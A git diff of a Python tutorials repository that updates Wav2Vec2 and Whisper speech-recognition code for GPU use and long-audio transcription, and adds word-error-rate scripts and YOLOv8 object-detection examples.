sampling_rate=16000)[\"input_values\"].to(device)\n", " # perform inference\n", " logits = model(input_features)[\"logits\"]\n", " # use argmax to get the predicted IDs\n", " predicted_ids = torch.argmax(logits, dim=-1)\n", - " # decode the IDs to text\n", " transcription = processor.batch_decode(predicted_ids)[0]\n", " return transcription.lower()" ] }, { "cell_type": "code", - "execution_count": 13, + "execution_count": 17, "metadata": { "colab": { "base_uri": "https://localhost:8080/", - "height": 35 + "height": 36 }, "id": "ien5Vqre7MRg", - "outputId": "f79a1b31-adf7-47b3-9495-d0aa2444bccf" + "outputId": "f28ed270-5cae-4f74-ea97-7fa35d1df8ac" }, "outputs": [ { @@ -379,7 +308,7 @@ "'a late is a big tool grab every dish of sugar'" ] }, - "execution_count": 13, + "execution_count": 17, "metadata": {}, "output_type": "execute_result" } @@ -391,6 +320,7 @@ ] }, { + "attachments": {}, "cell_type": "markdown", "metadata": { "id": "OLqN2g1vpjIP" @@ -416,44 +346,42 @@ "# whisper_model_name = \"openai/whisper-small\" # multilingual, ~ 967 MB\n", "whisper_model_name = \"openai/whisper-medium\" # multilingual, ~ 3.06 GB\n", "# whisper_model_name = \"openai/whisper-large-v2\" # multilingual, ~ 6.17 GB\n", - "# load the whisper model and tokenizer\n", + "\n", "whisper_processor = WhisperProcessor.from_pretrained(whisper_model_name)\n", - "whisper_model = WhisperForConditionalGeneration.from_pretrained(whisper_model_name)" + "whisper_model = WhisperForConditionalGeneration.from_pretrained(whisper_model_name).to(device)" ] }, { "cell_type": "code", - "execution_count": 15, + "execution_count": 12, "metadata": { "id": "jkJSZ1QQqiQ-" }, "outputs": [], "source": [ - "# get the input features\n", - "input_features = whisper_processor(load_audio(audio_url), sampling_rate=16000, return_tensors=\"pt\").input_features" + "input_features = whisper_processor(load_audio(audio_url), sampling_rate=16000, return_tensors=\"pt\").input_features.to(device)" ] }, { "cell_type": "code", - "execution_count": 16, + "execution_count": 13, "metadata": { "id": "8lZGLPw9yYOx" }, "outputs": [], "source": [ - "# get special decoder tokens for the language\n", "forced_decoder_ids = whisper_processor.get_decoder_prompt_ids(language=\"english\", task=\"transcribe\")" ] }, { "cell_type": "code", - "execution_count": 17, + "execution_count": 14, "metadata": { "colab": { "base_uri": "https://localhost:8080/" }, "id": "CyFAkTqSyvfy", - "outputId": "2e87143f-87ce-4e63-a9ca-c748ed9eab57" + "outputId": "24efe50f-6467-4e5b-d5ee-6c101df9566d" }, "outputs": [ { @@ -462,7 +390,7 @@ "[(1, 50259), (2, 50359), (3, 50363)]" ] }, - "execution_count": 17, + "execution_count": 14, "metadata": {}, "output_type": "execute_result" } @@ -473,13 +401,13 @@ }, { "cell_type": "code", - "execution_count": 18, + "execution_count": 15, "metadata": { "colab": { "base_uri": "https://localhost:8080/" }, "id": "N3kN0ieAs4y6", - "outputId": "995ed89a-41ca-4b96-92ff-ba07c91abd14" + "outputId": "af61865c-db65-449d-9f76-f90dec77c544" }, "outputs": [ { @@ -488,7 +416,7 @@ "torch.Size([1, 80, 3000])" ] }, - "execution_count": 18, + "execution_count": 15, "metadata": {}, "output_type": "execute_result" } @@ -499,20 +427,20 @@ }, { "cell_type": "code", - "execution_count": 19, + "execution_count": 16, "metadata": { "colab": { "base_uri": "https://localhost:8080/" }, "id": "FwN0416XsI4s", - "outputId": "eb1000eb-8895-485d-8b9e-d31cc18f5f0d" + "outputId": "92f436a4-6af4-42d2-d774-94af91e2c57e" }, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ - "/usr/local/lib/python3.9/dist-packages/transformers/generation/utils.py:1313: UserWarning: Using `max_length`'s default (448) to control the generation length. This behaviour is deprecated and will be removed from the config in v5 of Transformers -- we recommend using `max_new_tokens` to control the maximum length of the generation.\n", + "/usr/local/lib/python3.10/dist-packages/transformers/generation/utils.py:1313: UserWarning: Using `max_length`'s default (448) to control the generation length. This behaviour is deprecated and will be removed from the config in v5 of Transformers -- we recommend using `max_new_tokens` to control the maximum length of the generation.\n", " warnings.warn(\n" ] }, @@ -522,26 +450,25 @@ "torch.Size([1, 68])" ] }, - "execution_count": 19, + "execution_count": 16, "metadata": {}, "output_type": "execute_result" } ], "source": [ - "# perform inference\n", "predicted_ids = whisper_model.generate(input_features, forced_decoder_ids=forced_decoder_ids)\n", "predicted_ids.shape" ] }, { "cell_type": "code", - "execution_count": 20, + "execution_count": 17, "metadata": { "colab": { "base_uri": "https://localhost:8080/" }, "id": "HCIe1xoALIzi", - "outputId": "1f4b43a4-06ff-48f3-ccae-3cfabb47b68e" + "outputId": "6bb77e6c-449c-4308-d43f-30721578299a" }, "outputs": [ { @@ -550,26 +477,25 @@ "[' and Mrs. Goddard, three ladies almost always at the service of an invitation from Hartfield, and who were fetched and carried home so often that Mr. Woodhouse sought it no hardship for either James or the horses. Had it taken place only once a year it would have been a grievance.']" ] }, - "execution_count": 20, + "execution_count": 17, "metadata": {}, "output_type": "execute_result" } ], "source": [ - "# decode the IDs to text\n", "transcription = whisper_processor.batch_decode(predicted_ids, skip_special_tokens=True)\n", "transcription" ] }, { "cell_type": "code", - "execution_count": 21, + "execution_count": 18, "metadata": { "colab": { "base_uri": "https://localhost:8080/" }, "id": "aK7gu9L1sNJh", - "outputId": "f85943af-0997-43f3-80e3-7314051acf0f" + "outputId": "9e66ff70-dc26-4de8-da20-d0598c7c0f21" }, "outputs": [ { @@ -578,20 +504,19 @@ "['<|startoftranscript|><|en|><|transcribe|><|notimestamps|> and Mrs. Goddard, three ladies almost always at the service of an invitation from Hartfield, and who were fetched and carried home so often that Mr. Woodhouse sought it no hardship for either James or the horses. Had it taken place only once a year it would have been a grievance.<|endoftext|>']" ] }, - "execution_count": 21, + "execution_count": 18, "metadata": {}, "output_type": "execute_result" } ], "source": [ - "# decode the IDs to text with special tokens\n", "transcription = whisper_processor.batch_decode(predicted_ids, skip_special_tokens=False)\n", "transcription" ] }, { "cell_type": "code", - "execution_count": 22, + "execution_count": 19, "metadata": { "id": "V1MIY7i37bg5" }, @@ -600,20 +525,17 @@ "def get_transcription_whisper(audio_path, model, processor, language=\"english\", skip_special_tokens=True):\n", " # resample from whatever the audio sampling rate to 16000\n", " speech = load_audio(audio_path)\n", - " # get the input features\n", - " input_features = processor(speech, return_tensors=\"pt\", sampling_rate=16000).input_features\n", - " # get special decoder tokens for the language\n", + " input_features = processor(speech, return_tensors=\"pt\", sampling_rate=16000).input_features.to(device)\n", " forced_decoder_ids = processor.get_decoder_prompt_ids(language=language, task=\"transcribe\")\n", - " # perform inference\n", + " # print(forced_decoder_ids)\n", " predicted_ids = model.generate(input_features, forced_decoder_ids=forced_decoder_ids)\n", - " # decode the IDs to text\n", " transcription = processor.batch_decode(predicted_ids, skip_special_tokens=skip_special_tokens)[0]\n", " return transcription" ] }, { "cell_type": "code", - "execution_count": 23, + "execution_count": null, "metadata": { "colab": { "base_uri": "https://localhost:8080/", @@ -648,7 +570,7 @@ }, { "cell_type": "code", - "execution_count": 24, + "execution_count": null, "metadata": { "colab": { "base_uri": "https://localhost:8080/", @@ -683,135 +605,11 @@ }, { "cell_type": "code", - "execution_count": 25, + "execution_count": null, "metadata": { - "colab": { - "base_uri": "https://localhost:8080/" - }, - "id": "QTZlrT-B21VC", - "outputId": "ce467983-72ad-4d12-eb8f-340352f2d980" + "id": "QTZlrT-B21VC" }, - "outputs": [ - { - "data": { - "text/plain": [ - "{'english': 'en',\n", - " 'chinese': 'zh',\n", - " 'german': 'de',\n", - " 'spanish': 'es',\n", - " 'russian': 'ru',\n", - " 'korean': 'ko',\n", - " 'french': 'fr',\n", - " 'japanese': 'ja',\n", - " 'portuguese': 'pt',\n", - " 'turkish': 'tr',\n", - " 'polish': 'pl',\n", - " 'catalan': 'ca',\n", - " 'dutch': 'nl',\n", - " 'arabic': 'ar',\n", - " 'swedish': 'sv',\n", - " 'italian': 'it',\n", - " 'indonesian': 'id',\n", - " 'hindi': 'hi',\n", - " 'finnish': 'fi',\n", - " 'vietnamese': 'vi',\n", - " 'hebrew': 'he',\n", - " 'ukrainian': 'uk',\n", - " 'greek': 'el',\n", - " 'malay': 'ms',\n", - " 'czech': 'cs',\n", - " 'romanian': 'ro',\n", - " 'danish': 'da',\n", - " 'hungarian': 'hu',\n", - " 'tamil': 'ta',\n", - " 'norwegian': 'no',\n", - " 'thai': 'th',\n", - " 'urdu': 'ur',\n", - " 'croatian': 'hr',\n", - " 'bulgarian': 'bg',\n", - " 'lithuanian': 'lt',\n", - " 'latin': 'la',\n", - " 'maori': 'mi',\n", - " 'malayalam': 'ml',\n", - " 'welsh': 'cy',\n", - " 'slovak': 'sk',\n", - " 'telugu': 'te',\n", - " 'persian': 'fa',\n", - " 'latvian': 'lv',\n", - " 'bengali': 'bn',\n", - " 'serbian': 'sr',\n", - " 'azerbaijani': 'az',\n", - " 'slovenian': 'sl',\n", - " 'kannada': 'kn',\n", - " 'estonian': 'et',\n", - " 'macedonian': 'mk',\n", - " 'breton': 'br',\n", - " 'basque': 'eu',\n", - " 'icelandic': 'is',\n", - " 'armenian': 'hy',\n", - " 'nepali': 'ne',\n", - " 'mongolian': 'mn',\n", - " 'bosnian': 'bs',\n", - " 'kazakh': 'kk',\n", - " 'albanian': 'sq',\n", - " 'swahili': 'sw',\n", - " 'galician': 'gl',\n", - " 'marathi': 'mr',\n", - " 'punjabi': 'pa',\n", - " 'sinhala': 'si',\n", - " 'khmer': 'km',\n", - " 'shona': 'sn',\n", - " 'yoruba': 'yo',\n", - " 'somali': 'so',\n", - " 'afrikaans': 'af',\n", - " 'occitan': 'oc',\n", - " 'georgian': 'ka',\n", - " 'belarusian': 'be',\n", - " 'tajik': 'tg',\n", - " 'sindhi': 'sd',\n", - " 'gujarati': 'gu',\n", - " 'amharic': 'am',\n", - " 'yiddish': 'yi',\n", - " 'lao': 'lo',\n", - " 'uzbek': 'uz',\n", - " 'faroese': 'fo',\n", - " 'haitian creole': 'ht',\n", - " 'pashto': 'ps',\n", - " 'turkmen': 'tk',\n", - " 'nynorsk': 'nn',\n", - " 'maltese': 'mt',\n", - " 'sanskrit': 'sa',\n", - " 'luxembourgish': 'lb',\n", - " 'myanmar': 'my',\n", - " 'tibetan': 'bo',\n", - " 'tagalog': 'tl',\n", - " 'malagasy': 'mg',\n", - " 'assamese': 'as',\n", - " 'tatar': 'tt',\n", - " 'hawaiian': 'haw',\n", - " 'lingala': 'ln',\n", - " 'hausa': 'ha',\n", - " 'bashkir': 'ba',\n", - " 'javanese': 'jw',\n", - " 'sundanese': 'su',\n", - " 'burmese': 'my',\n", - " 'valencian': 'ca',\n", - " 'flemish': 'nl',\n", - " 'haitian': 'ht',\n", - " 'letzeburgesch': 'lb',\n", - " 'pushto': 'ps',\n", - " 'panjabi': 'pa',\n", - " 'moldavian': 'ro',\n", - " 'moldovan': 'ro',\n", - " 'sinhalese': 'si',\n", - " 'castilian': 'es'}" - ] - }, - "execution_count": 25, - "metadata": {}, - "output_type": "execute_result" - } - ], + "outputs": [], "source": [ "from transformers.models.whisper.tokenization_whisper import TO_LANGUAGE_CODE \n", "# supported languages\n", @@ -819,6 +617,7 @@ ] }, { + "attachments": {}, "cell_type": "markdown", "metadata": { "id": "6cZZ7MeTUv0S" @@ -829,7 +628,7 @@ }, { "cell_type": "code", - "execution_count": 15, + "execution_count": null, "metadata": { "colab": { "base_uri": "https://localhost:8080/" @@ -854,7 +653,7 @@ }, { "cell_type": "code", - "execution_count": 89, + "execution_count": null, "metadata": { "colab": { "base_uri": "https://localhost:8080/", @@ -935,7 +734,7 @@ }, { "cell_type": "code", - "execution_count": 120, + "execution_count": null, "metadata": { "colab": { "base_uri": "https://localhost:8080/" @@ -965,14 +764,148 @@ "print(\"Whisper:\", get_transcription_whisper(\"recorded.wav\", whisper_model, whisper_processor))\n", "print(\"Wav2vec2:\", get_transcription_wav2vec2(\"recorded.wav\", wav2vec2_model, wav2vec2_processor))" ] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "UbQxYoBXl9c7" + }, + "source": [ + "# Transcribing Long Audio Samples" + ] + }, + { + "cell_type": "code", + "execution_count": 20, + "metadata": { + "id": "HLbh4VJxkxJp" + }, + "outputs": [], + "source": [ + "def get_long_transcription_whisper(audio_path, pipe, return_timestamps=True, \n", + " chunk_length_s=10, stride_length_s=2):\n", + " \"\"\"Get the transcription of a long audio file using the Whisper model\"\"\"\n", + " return pipe(load_audio(audio_path).numpy(), return_timestamps=return_timestamps,\n", + " chunk_length_s=chunk_length_s, stride_length_s=stride_length_s)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "2QypuIDAk5QK" + }, + "outputs": [], + "source": [ + "# initialize the pipeline\n", + "pipe = pipeline(\"automatic-speech-recognition\", \n", + " model=whisper_model_name, device=device)" + ] + }, + { + "cell_type": "code", + "execution_count": 22, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "MwsBPkdSk7jn", + "outputId": "96b0582a-0743-45ec-d833-7ca21ffa706d" + }, + "outputs": [ + { + "name": "stderr", + "output_type": "stream", + "text": [ + "Disabling tokenizer parallelism, we're using DataLoader multithreading already\n" + ] + } + ], + "source": [ + "# get the transcription of a sample long audio file\n", + "output = get_long_transcription_whisper(\n", + " \"https://www.voiptroubleshooter.com/open_speech/american/OSR_us_000_0060_8k.wav/", \n", + " pipe, chunk_length_s=10, stride_length_s=1)" + ] + }, + { + "cell_type": "code", + "execution_count": 23, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 72 + }, + "id": "5xON5pvWlEEK", + "outputId": "179d7522-1f09-4176-84bf-5b6f2d85fd28" + }, + "outputs": [ + { + "data": { + "application/vnd.google.colaboratory.intrinsic+json": { + "type": "string" + }, + "text/plain": [ + "' The horse trotted around the field at a brisk pace. Find the twin who stole the pearl necklace. Cut the cord that binds the box tightly. The The red tape bound the smuggled food. Look in the corner to find the tan shirt. The cold drizzle will halt the bond drive. Nine men were hired to dig the ruins. The junkyard had a moldy smell. The flint sputtered and lit a pine torch. Soak the cloth and drown the sharp odor..'" + ] + }, + "execution_count": 23, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "output[\"text\"]" + ] + }, + { + "cell_type": "code", + "execution_count": 24, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "AEjVdbKXk96r", + "outputId": "0daaf33a-a397-4a6c-dc3f-d56e5b678c83" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "(0.0, 6.0) : The horse trotted around the field at a brisk pace.\n", + "(6.0, 12.8) : Find the twin who stole the pearl necklace.\n", + "(12.8, 21.0) : Cut the cord that binds the box tightly. The The red tape bound the smuggled food.\n", + "(21.0, 38.0) : Look in the corner to find the tan shirt. The cold drizzle will halt the bond drive. Nine men were hired to dig the ruins.\n", + "(38.0, 58.0) : The junkyard had a moldy smell. The flint sputtered and lit a pine torch. Soak the cloth and drown the sharp odor..\n" + ] + } + ], + "source": [ + "for chunk in output[\"chunks\"]:\n", + " # print the timestamp and the text\n", + " print(chunk[\"timestamp\"], \":\", chunk[\"text\"])" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "QsReWl7zlJt9" + }, + "outputs": [], + "source": [] } ], "metadata": { + "accelerator": "GPU", "colab": { + "gpuType": "T4", "machine_shape": "hm", - "provenance": [], - "toc_visible": true + "provenance": [] }, + "gpuClass": "standard", "kernelspec": { "display_name": "Python 3", "name": "python3" diff --git a/machine-learning/nlp/speech-recognition-transformers/AutomaticSpeechRecognition_PythonCodeTutorial.py b/machine-learning/nlp/speech-recognition-transformers/AutomaticSpeechRecognition_PythonCodeTutorial.py index 0198ed66..8cd7f7ba 100644 --- a/machine-learning/nlp/speech-recognition-transformers/AutomaticSpeechRecognition_PythonCodeTutorial.py +++ b/machine-learning/nlp/speech-recognition-transformers/AutomaticSpeechRecognition_PythonCodeTutorial.py @@ -9,6 +9,8 @@ import os import torchaudio +device = "cuda:0" if torch.cuda.is_available() else "cpu" + # %% [markdown] # # Wav2Vec2.0 Models # @@ -19,9 +21,9 @@ # wav2vec2_model_name = "jonatasgrosman/wav2vec2-large-xlsr-53-english" # English-only, 1.26GB # wav2vec2_model_name = "jonatasgrosman/wav2vec2-large-xlsr-53-arabic" # Arabic-only, 1.26GB # wav2vec2_model_name = "jonatasgrosman/wav2vec2-large-xlsr-53-spanish" # Spanish-only, 1.26GB -# load model and tokenizer + wav2vec2_processor = Wav2Vec2Processor.from_pretrained(wav2vec2_model_name) -wav2vec2_model = Wav2Vec2ForCTC.from_pretrained(wav2vec2_model_name) +wav2vec2_model = Wav2Vec2ForCTC.from_pretrained(wav2vec2_model_name).to(device) # %% # audio_url = "http://www.fit.vutbr.cz/~motlicek/sympatex/f2bjrop1.0.wav" @@ -29,8 +31,8 @@ # audio_url = "http://www.fit.vutbr.cz/~motlicek/sympatex/f2btrop6.0.wav" # audio_url = "https://github.com/x4nth055/pythoncode-tutorials/raw/master/machine-learning/speech-recognition/16-122828-0002.wav" audio_url = "https://github.com/x4nth055/pythoncode-tutorials/raw/master/machine-learning/speech-recognition/30-4447-0004.wav" +# audio_url = "https://www.voiptroubleshooter.com/open_speech/american/OSR_us_000_0060_8k.wav" # audio_url = "https://github.com/x4nth055/pythoncode-tutorials/raw/master/machine-learning/speech-recognition/7601-291468-0006.wav" -# audio_url = "https://file-examples-com.github.io/uploads/2017/11/file_example_WAV_1MG.wav" # audio_url = "http://www0.cs.ucl.ac.uk/teaching/GZ05/samples/lathe.wav" # %% @@ -49,7 +51,7 @@ # %% # tokenize our wav -input_values = wav2vec2_processor(speech, return_tensors="pt", sampling_rate=16000)["input_values"] +input_values = wav2vec2_processor(speech, return_tensors="pt", sampling_rate=16000)["input_values"].to(device) input_values.shape # %% @@ -78,15 +80,12 @@ def load_audio(audio_path): # %% def get_transcription_wav2vec2(audio_path, model, processor): - # load our wav file speech = load_audio(audio_path) - # get the input features - input_features = processor(speech, return_tensors="pt", sampling_rate=16000)["input_values"] + input_features = processor(speech, return_tensors="pt", sampling_rate=16000)["input_values"].to(device) # perform inference logits = model(input_features)["logits"] # use argmax to get the predicted IDs predicted_ids = torch.argmax(logits, dim=-1) - # decode the IDs to text transcription = processor.batch_decode(predicted_ids)[0] return transcription.lower() @@ -108,16 +107,14 @@ def get_transcription_wav2vec2(audio_path, model, processor): # whisper_model_name = "openai/whisper-small" # multilingual, ~ 967 MB whisper_model_name = "openai/whisper-medium" # multilingual, ~ 3.06 GB # whisper_model_name = "openai/whisper-large-v2" # multilingual, ~ 6.17 GB -# load the whisper model and tokenizer + whisper_processor = WhisperProcessor.from_pretrained(whisper_model_name) -whisper_model = WhisperForConditionalGeneration.from_pretrained(whisper_model_name) +whisper_model = WhisperForConditionalGeneration.from_pretrained(whisper_model_name).to(device) # %% -# get the input features -input_features = whisper_processor(load_audio(audio_url), sampling_rate=16000, return_tensors="pt").input_features +input_features = whisper_processor(load_audio(audio_url), sampling_rate=16000, return_tensors="pt").input_features.to(device) # %% -# get special decoder tokens for the language forced_decoder_ids = whisper_processor.get_decoder_prompt_ids(language="english", task="transcribe") # %% @@ -127,17 +124,14 @@ def get_transcription_wav2vec2(audio_path, model, processor): input_features.shape # %% -# perform inference predicted_ids = whisper_model.generate(input_features, forced_decoder_ids=forced_decoder_ids) predicted_ids.shape # %% -# decode the IDs to text transcription = whisper_processor.batch_decode(predicted_ids, skip_special_tokens=True) transcription # %% -# decode the IDs to text with special tokens transcription = whisper_processor.batch_decode(predicted_ids, skip_special_tokens=False) transcription @@ -145,13 +139,10 @@ def get_transcription_wav2vec2(audio_path, model, processor): def get_transcription_whisper(audio_path, model, processor, language="english", skip_special_tokens=True): # resample from whatever the audio sampling rate to 16000 speech = load_audio(audio_path) - # get the input features input_features = processor(speech, return_tensors="pt", sampling_rate=16000).input_features - # get special decoder tokens for the language forced_decoder_ids = processor.get_decoder_prompt_ids(language=language, task="transcribe") - # perform inference + # print(forced_decoder_ids) predicted_ids = model.generate(input_features, forced_decoder_ids=forced_decoder_ids) - # decode the IDs to text transcription = processor.batch_decode(predicted_ids, skip_special_tokens=skip_special_tokens)[0] return transcription @@ -209,4 +200,36 @@ def _record_audio(b): print("Whisper:", get_transcription_whisper("recorded.wav", whisper_model, whisper_processor)) print("Wav2vec2:", get_transcription_wav2vec2("recorded.wav", wav2vec2_model, wav2vec2_processor)) +# %% [markdown] +# # Transcribing Long Audio Samples + +# %% +def get_long_transcription_whisper(audio_path, pipe, return_timestamps=True, + chunk_length_s=10, stride_length_s=2): + """Get the transcription of a long audio file using the Whisper model""" + return pipe(load_audio(audio_path).numpy(), return_timestamps=return_timestamps, + chunk_length_s=chunk_length_s, stride_length_s=stride_length_s) + +# %% +# initialize the pipeline +pipe = pipeline("automatic-speech-recognition", + model=whisper_model_name, device=device) + +# %% +# get the transcription of a sample long audio file +output = get_long_transcription_whisper( + "https://www.voiptroubleshooter.com/open_speech/american/OSR_us_000_0060_8k.wav", + pipe, chunk_length_s=10, stride_length_s=1) + +# %% +output["text"] + +# %% +for chunk in output["chunks"]: + # print the timestamp and the text + print(chunk["timestamp"], ":", chunk["text"]) + +# %% + + diff --git a/machine-learning/nlp/wer-score/README.md b/machine-learning/nlp/wer-score/README.md new file mode 100644 index 00000000..8e33c7f9 --- /dev/null +++ b/machine-learning/nlp/wer-score/README.md @@ -0,0 +1,6 @@ +# [Word Error Rate in Python](https://www.thepythoncode.com/article/calculate-word-error-rate-in-python) +- `pip install -r requirements.txt` +- `wer_basic.py` is the basic implementation of WER algorithm. +- `wer_accurate.py` is the accurate implementation of WER algorithm. +- `wer_jiwer.py` is the implementation of WER algorithm using [jiwer](https://pypi.org/project/jiwer/). +- `wer_evaluate.py` is the implementation of WER algorithm using [evaluate](https://pypi.org/project/evaluate/). \ No newline at end of file diff --git a/machine-learning/nlp/wer-score/requirements.txt b/machine-learning/nlp/wer-score/requirements.txt new file mode 100644 index 00000000..577cfc06 --- /dev/null +++ b/machine-learning/nlp/wer-score/requirements.txt @@ -0,0 +1,3 @@ +numpy +jiwer +evaluate \ No newline at end of file diff --git a/machine-learning/nlp/wer-score/wer_accurate.py b/machine-learning/nlp/wer-score/wer_accurate.py new file mode 100644 index 00000000..b5dbc29a --- /dev/null +++ b/machine-learning/nlp/wer-score/wer_accurate.py @@ -0,0 +1,44 @@ +import numpy as np + +def calculate_wer(reference, hypothesis): + # Split the reference and hypothesis sentences into words + ref_words = reference.split() + hyp_words = hypothesis.split() + # Initialize a matrix with size |ref_words|+1 x |hyp_words|+1 + # The extra row and column are for the case when one of the strings is empty + d = np.zeros((len(ref_words) + 1, len(hyp_words) + 1)) + # The number of operations for an empty hypothesis to become the reference + # is just the number of words in the reference (i.e., deleting all words) + for i in range(len(ref_words) + 1): + d[i, 0] = i + # The number of operations for an empty reference to become the hypothesis + # is just the number of words in the hypothesis (i.e., inserting all words) + for j in range(len(hyp_words) + 1): + d[0, j] = j + # Iterate over the words in the reference and hypothesis + for i in range(1, len(ref_words) + 1): + for j in range(1, len(hyp_words) + 1): + # If the current words are the same, no operation is needed + # So we just take the previous minimum number of operations + if ref_words[i - 1] == hyp_words[j - 1]: + d[i, j] = d[i - 1, j - 1] + else: + # If the words are different, we consider three operations: + # substitution, insertion, and deletion + # And we take the minimum of these three possibilities + substitution = d[i - 1, j - 1] + 1 + insertion = d[i, j - 1] + 1 + deletion = d[i - 1, j] + 1 + d[i, j] = min(substitution, insertion, deletion) + # The minimum number of operations to transform the hypothesis into the reference + # is in the bottom-right cell of the matrix + # We divide this by the number of words in the reference to get the WER + wer = d[len(ref_words), len(hyp_words)] / len(ref_words) + return wer + + + +if __name__ == "__main__": + reference = "The cat is sleeping on the mat." + hypothesis = "The cat is playing on mat." + print(calculate_wer(reference, hypothesis)) diff --git a/machine-learning/nlp/wer-score/wer_basic.py b/machine-learning/nlp/wer-score/wer_basic.py new file mode 100644 index 00000000..9cc3917b --- /dev/null +++ b/machine-learning/nlp/wer-score/wer_basic.py @@ -0,0 +1,21 @@ +def calculate_wer(reference, hypothesis): + ref_words = reference.split() + hyp_words = hypothesis.split() + + # Counting the number of substitutions, deletions, and insertions + substitutions = sum(1 for ref, hyp in zip(ref_words, hyp_words) if ref != hyp) + deletions = len(ref_words) - len(hyp_words) + insertions = len(hyp_words) - len(ref_words) + + # Total number of words in the reference text + total_words = len(ref_words) + + # Calculating the Word Error Rate (WER) + wer = (substitutions + deletions + insertions) / total_words + return wer + + +if __name__ == "__main__": + reference = "the cat sat on the mat" + hypothesis = "the cat mat" + print(calculate_wer(reference, hypothesis)) \ No newline at end of file diff --git a/machine-learning/nlp/wer-score/wer_evaluate.py b/machine-learning/nlp/wer-score/wer_evaluate.py new file mode 100644 index 00000000..818bf408 --- /dev/null +++ b/machine-learning/nlp/wer-score/wer_evaluate.py @@ -0,0 +1,9 @@ +import evaluate + +wer = evaluate.load("wer") + +# reference = "the cat sat on the mat" +# hypothesis = "the cat mat" +reference = "The cat is sleeping on the mat." +hypothesis = "The cat is playing on mat." +print(wer.compute(references=[reference], predictions=[hypothesis])) \ No newline at end of file diff --git a/machine-learning/nlp/wer-score/wer_jiwer.py b/machine-learning/nlp/wer-score/wer_jiwer.py new file mode 100644 index 00000000..28fa9572 --- /dev/null +++ b/machine-learning/nlp/wer-score/wer_jiwer.py @@ -0,0 +1,8 @@ +from jiwer import wer + +if __name__ == "__main__": + # reference = "the cat sat on the mat" + # hypothesis = "the cat mat" + reference = "The cat is sleeping on the mat." + hypothesis = "The cat is playing on mat." + print(wer(reference, hypothesis)) \ No newline at end of file diff --git a/machine-learning/object-detection/1.mp4 b/machine-learning/object-detection/1.mp4 new file mode 100644 index 00000000..44305cce Binary files /dev/null and b/machine-learning/object-detection/1.mp4 differ diff --git a/machine-learning/object-detection/README.md b/machine-learning/object-detection/README.md index ddb8f0bd..a73112ac 100644 --- a/machine-learning/object-detection/README.md +++ b/machine-learning/object-detection/README.md @@ -1,20 +1,19 @@ # [How to Perform YOLO Object Detection using OpenCV and PyTorch in Python](https://www.thepythoncode.com/article/yolo-object-detection-with-opencv-and-pytorch-in-python) To run this: - `pip3 install -r requirements.txt` -- Download the [model weights](https://pjreddie.com/media/files/yolov3.weights) and put them in `weights` folder. - To generate a object detection image on `images/dog.jpg`: ``` - python yolo_opencv.py images/dog.jpg + python yolov8_opencv.py images/dog.jpg ``` - A new image `dog_yolo3.jpg` will appear which has the bounding boxes of different objects in the image. + A new image `dog_yolo8.jpg` will appear which has the bounding boxes of different objects in the image. - For live object detection: ``` - python live_yolo_opencv.py + python live_yolov8_opencv.py ``` - If you want to read from a video file and make predictions: ``` - python read_video.py video.avi + python read_video_yolov8.py 1.mp4 ``` This will start detecting objects in that video, in the end, it'll save the resulting video to `output.avi` -- If you wish to use PyTorch for GPU acceleration, please install PyTorch CUDA [here](https://pytorch.org/get-started) and use `yolo.py` file. +- Old files for YOLOv3: `yolo_opencv.py`, `live_yolo_opencv.py`, `read_video.py` - Feel free to edit the codes for your needs! diff --git a/machine-learning/object-detection/live_yolov8_opencv.py b/machine-learning/object-detection/live_yolov8_opencv.py new file mode 100644 index 00000000..c91b13d2 --- /dev/null +++ b/machine-learning/object-detection/live_yolov8_opencv.py @@ -0,0 +1,75 @@ +import cv2 +import numpy as np + +import time +import sys + +from ultralytics import YOLO + + +CONFIDENCE = 0.5 +font_scale = 1 +thickness = 1 +labels = open("data/coco.names").read().strip().split("\n") +colors = np.random.randint(0, 255, size=(len(labels), 3), dtype="uint8") + +model = YOLO("yolov8n.pt") + +cap = cv2.VideoCapture(0) +_, image = cap.read() +h, w = image.shape[:2] +fourcc = cv2.VideoWriter_fourcc(*"XVID") +out = cv2.VideoWriter("output.avi", fourcc, 20.0, (w, h)) +while True: + _, image = cap.read() + + start = time.perf_counter() + # run inference on the image + # see: https://docs.ultralytics.com/modes/predict/#arguments for full list of arguments + results = model.predict(image, conf=CONFIDENCE)[0] + time_took = time.perf_counter() - start + print("Time took:", time_took) + + # loop over the detections + for data in results.boxes.data.tolist(): + # get the bounding box coordinates, confidence, and class id + xmin, ymin, xmax, ymax, confidence, class_id = data + # converting the coordinates and the class id to integers + xmin = int(xmin) + ymin = int(ymin) + xmax = int(xmax) + ymax = int(ymax) + class_id = int(class_id) + + # draw a bounding box rectangle and label on the image + color = [int(c) for c in colors[class_id]] + cv2.rectangle(image, (xmin, ymin), (xmax, ymax), color=color, thickness=thickness) + text = f"{labels[class_id]}: {confidence:.2f}" + # calculate text width & height to draw the transparent boxes as background of the text + (text_width, text_height) = cv2.getTextSize(text, cv2.FONT_HERSHEY_SIMPLEX, fontScale=font_scale, thickness=thickness)[0] + text_offset_x = xmin + text_offset_y = ymin - 5 + box_coords = ((text_offset_x, text_offset_y), (text_offset_x + text_width + 2, text_offset_y - text_height)) + overlay = image.copy() + cv2.rectangle(overlay, box_coords[0], box_coords[1], color=color, thickness=cv2.FILLED) + # add opacity (transparency to the box) + image = cv2.addWeighted(overlay, 0.6, image, 0.4, 0) + # now put the text (label: confidence %) + cv2.putText(image, text, (xmin, ymin - 5), cv2.FONT_HERSHEY_SIMPLEX, + fontScale=font_scale, color=(0, 0, 0), thickness=thickness) + + # end time to compute the fps + end = time.perf_counter() + # calculate the frame per second and draw it on the frame + fps = f"FPS: {1 / (end - start):.2f}" + cv2.putText(image, fps, (50, 50), + cv2.FONT_HERSHEY_SIMPLEX, 2, (0, 255, 0), 6) + out.write(image) + cv2.imshow("image", image) + + if ord("q") == cv2.waitKey(1): + break + + +cap.release() +cv2.destroyAllWindows() \ No newline at 